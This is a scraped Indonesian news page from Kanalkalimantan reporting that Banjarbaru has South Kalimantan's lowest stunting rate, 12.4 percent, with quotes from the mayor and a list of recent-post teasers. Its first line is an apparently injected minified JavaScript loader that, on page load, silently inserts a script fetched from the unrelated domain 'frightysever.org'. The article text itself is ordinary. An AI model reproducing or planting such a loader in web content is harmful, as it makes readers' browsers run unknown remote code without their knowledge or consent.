(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Kota Banjarbaru Angka Stunting Terendah di Kalsel


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru dipimpin Wali Kota Aditya Mufti Ariffin tidak kendurkan langkah dalam upaya penanganan stunting.

Kinerja Wali Kota Aditya bersama jajaran terbukti berhasil membawa ibu kota provinsi sebagai daerah dengan angka stunting terendah di Provinsi Kalimantan Selatan (Kalsel).

Berdasarkan laporan capaian pembangunan, Kota Banjarbaru berhasil menekan angka stunting hingga mencapai 12,4 persen.

Baca juga: Coklit Pemilih Selesai, Petugas Pantarlih Ungkap Suka Duka Lapangan

Kemudian disusul daerah lain dengan stunting terendah ialah Kabupaten Hulu Sungai Tengah (HST) pada angka 13 persen dan Kabupaten Tapin 14,4 persen.

Diakui Wali Kota Aditya, pelaksanaan percepatan penurunan stunting di tengah masyarakat membutuhkan perencanaan dan alur kebijakan yang tepat. Bersamaan pula hal tersebut harus didukung kerjasama seluruh elemen masyarakat.

“Salah satunya peran keluarga yang harus dioptimalkan sebagai entitas utama dalam pencegahan stunting. Alhamdulillah, kinerja Pemko Banjarbaru dengan dukungan masyarakat mampu menekan angka stunting sampai yang paling rendah,” kata Aditya, Jumat (26/7/2024) pagi.

Baca juga: Bawaslu HSU Ajak Masyarakat Awasi Potensi Curang dan Pelanggaran Pilkada 

Penanganan stunting tidak terhenti sampai di sini, dia berharap semua tetap terkonsentrasi dalam penanganan di tahun-tahun yang akan datang.

“Setiap keluarga di Indonesia harus optimal bergerak bersama mencegah stunting, demi mewujudkan Indonesia Emas 2045, sebagaimana amanat bapak Presiden,” terangnya.

Isu stunting telah menjadi perhatian khusus hingga level pemerintah pusat. Stunting atau gangguan pertumbuhan dan perkembangan anak usia di bawah 5 tahun akibat kekurangan asupan gizi kronis berdampak pada kerusakan kognitif dan fisik.

Baca juga: Mabuk Berat, LC Karaoke di Banjarbaru ‘Digilir’ Dua Rekan Kerja

Masalah krusial ini harus menjadi perhatian serius bagi para pemimpin di masing-masing daerah. Hal ini pula yang menjadi fokus Aditya dalam meningkatkan keberhasilan program-program yang dilaksanakan Pemko Banjarbaru.

“Kami terus melakukan upaya lebih intensif untuk menyelamatkan generasi penerus dari ancaman stunting melalui kebijakan pangan terjangkau dan bergizi seimbang. Tentu kita akan terus menggali lebih dalam program-program yang kita laksanakan dengan inovasi kebijakan yang lebih strategis,” tandas Wali Kota Banjarbaru. (Kanalkalimantan.com/bie)

Reporter: bie
Editor: kk


Muhammad Andi

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

9 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

11 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

13 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

14 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

14 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

16 jam ago

This website uses cookies.